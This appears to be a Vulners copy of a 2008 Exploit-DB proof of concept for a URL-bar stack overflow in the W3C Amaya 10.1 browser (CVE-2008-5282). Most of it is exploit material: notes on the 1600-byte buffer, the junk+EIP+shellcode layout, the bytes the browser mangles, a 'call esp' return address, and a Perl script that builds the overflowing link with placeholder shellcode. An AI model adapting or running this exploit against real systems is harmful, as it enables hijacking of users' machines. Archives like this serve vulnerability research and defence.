Lucene search
+L

W3C Amaya 10.1 Web Browser - URL Bar Remote Stack Overflow (PoC)

🗓️ 24 Nov 2008 00:00:00Reported by r0ut3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

W3C Amaya 10.1 Web Browser - URL Bar Remote Stack Overflow Vulnerability with Shellcode Modificatio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-5282
24 Nov 200800:00
circl
CVE
CVE-2008-5282
29 Nov 200802:00
cve
Cvelist
CVE-2008-5282
29 Nov 200802:00
cvelist
Exploit DB
W3C Amaya 10.1 Web Browser - 'id' Remote Stack Overflow (PoC)
24 Nov 200800:00
exploitdb
Tenable Nessus
FreeBSD : amaya -- multiple buffer overflow vulnerabilities (a89b76a7-f6bd-11dd-94d9-0030843d3802)
14 Oct 201100:00
nessus
NVD
CVE-2008-5282
29 Nov 200802:30
nvd
OpenVAS
FreeBSD Ports: amaya
13 Feb 200900:00
openvas
OpenVAS
W3C Amaya Multiple Buffer Overflow Vulnerabilities (Dec 2008) - Windows
9 Dec 200800:00
openvas
OpenVAS
W3C Amaya Multiple Buffer Overflow Vulnerabilities (Dec 2008) - Linux
9 Dec 200800:00
openvas
OpenVAS
FreeBSD Ports: amaya
13 Feb 200900:00
openvas
Rows per page
#            W3C Amaya 10.1 Web Browser
#
# Amaya (URL Bar) Remote Stack Overflow Vulnerability
#
# Written and discovered by:
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/40/
# ------------------------------------------------------
#
# Shellcode notes:
# The application fails to correctly process certain bytes:
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).
#
# After reviewing the source code, the below function modifies the
# shellcode:
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The URL bar contains a buffer overflow vulnerability:
# buffer length: 1600 bytes
#
# [junk] + [eip] +     [shellcode]
#  1600  +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP.
#
# I found it difficult to access the URL bar via HTML code. For example, compile the above code,
# write it to a HTML file, then load it into the browser. Attempt to click the link and
# you will notice there is a 800 character limit on the link.
#
# To bypass this problem click the link then select "Links" >> "Create or change link...".
# Now click "Confirm". Alternatively just copy the payload into the URL bar.
#
# URL Bar Proof of concept:
# ----------------------------------------------------
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 80;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<a href="' .
                        'A' x 1600 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode .
                        '">r0ut3r</a>';
print $data;

# milw0rm.com [2008-11-24]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Nov 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.17635
40